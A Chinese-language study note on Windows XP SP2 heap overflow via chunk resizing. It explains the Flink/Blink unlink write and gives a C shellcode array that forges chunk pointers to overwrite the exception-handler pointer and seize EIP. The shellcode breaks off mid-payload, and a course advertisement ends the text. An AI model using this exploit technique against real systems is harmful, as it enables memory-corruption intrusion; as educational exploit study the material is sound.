堆溢出学习笔记:
看了0day漏洞利用的堆溢出,想自己亲手试试一个最简单的堆溢出;
因为windows对堆的保护加强,已经不能用以前的方法溢出堆来执行我们的代码,但是还可以利用chunk重设大小来攻击堆。
先来看一下重设chunk的过程大致执行的操作吧:
(第一步) 新chunk->Flink=旧chunk->Flink
(第二步) 新chunk->Blink=旧chunk->Blink
(第三步) 旧chunk->Flink->Blink->Flink=新chunk
(第四步) 旧chunk->Flink->Blink=新chunk
这里需要注意的是旧chunk是从链表卸下来的,卸下来的时候的前向指针和后向指针还指向它的位置前后的链表;
[0x003906A0]=0XAAAAAAAA;
[0x003906A0+4]=0XBBBBBBBB;
[[0xAAAAAAAA+4]]= 0x003906A0;
[0xAAAAAAAA+4]= 0x003906A0;
我们可以利用覆盖的地址进行特定地址写入,假如把异常处理函数写为我们的堆里面可控的代码,然后触发异常我们就能拿到EiP的控制权;
我的调试环境为 winxp sp2;
下面我们通过一个小例子来理解这一过程:
#include <stdio.h>
#include<windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2a\x01\x06\x00\x00\x10\x00\x00"
"\xeb\x06\x9f\x00\xeb\x06\x9f\x00"//这里正好覆盖原来chunk的前向指针和后向指针
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x31\x90\x90\x90\x90\x90\x90"//这里是跳过后面的垃圾代码
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2a\x01\x06\x00\x00\x10\x00"
"\x8c\x06\x9f\x00\xe4\xff\x22\x00"//伪造的前向指针和后向指针其中0x0022ffe4为异常处理指针
"\xb8\x48\x9b\x83\x7c"//mov EAX,0x7c839b48这两步是修复异常指针
"\xa3\xe4\xff\x22\x00"//mov [0x22ffe4],EAx
"\x33\xdb" //xor ebx,ebx
"\x53" //push ebx
"\x68\x6f\x64\x65\x21" //ode!
"\x68\x65\x6c\x6c\x63" //ellc
"\x68\x6f\x20\x73\x68" //o sh
"\x68\x68\x65\x6c\x6c" //hell
"\x8b\xc4" //mov eax,esp
"\x53" //push ebx
"\x50" //push eax
"\x50" //push eax
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课